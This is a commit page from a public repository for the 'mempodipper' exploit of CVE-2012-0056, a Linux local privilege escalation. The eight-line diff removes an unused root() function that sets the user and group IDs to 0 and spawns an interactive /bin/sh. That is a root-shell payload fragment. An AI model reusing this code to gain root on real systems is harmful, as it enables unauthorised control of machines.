aboutsummaryrefslogtreecommitdiffstats
path: root/mempodipper.c
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2012-01-22 17:50:37 +0100
committerJason A. Donenfeld <Jason@zx2c4.com>2012-01-22 17:50:37 +0100
commit1b99d28615c4940bd1aba48072dca2bdd734e5b2 (patch)
treef5f5e29eb8c9a4da179f877a24e9365f83f98576 /mempodipper.c
parentFormatting fix. (diff)
downloadCVE-2012-0056-1b99d28615c4940bd1aba48072dca2bdd734e5b2.tar.xz
CVE-2012-0056-1b99d28615c4940bd1aba48072dca2bdd734e5b2.zip
Remove unused code.
Diffstat (limited to 'mempodipper.c')
-rw-r--r--mempodipper.c8
1 files changed, 0 insertions, 8 deletions
diff --git a/mempodipper.c b/mempodipper.c
index 0e16429..2a80857 100644
--- a/mempodipper.c
+++ b/mempodipper.c
@@ -113,14 +113,6 @@ int recv_fd()
return fd;
}
-void root()
-{
- dup2(6, 2);
- setuid(0);
- setgid(0);
- execl("/bin/sh", "sh", "-i", NULL);
-}
-
int main(int argc, char **argv)
{
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {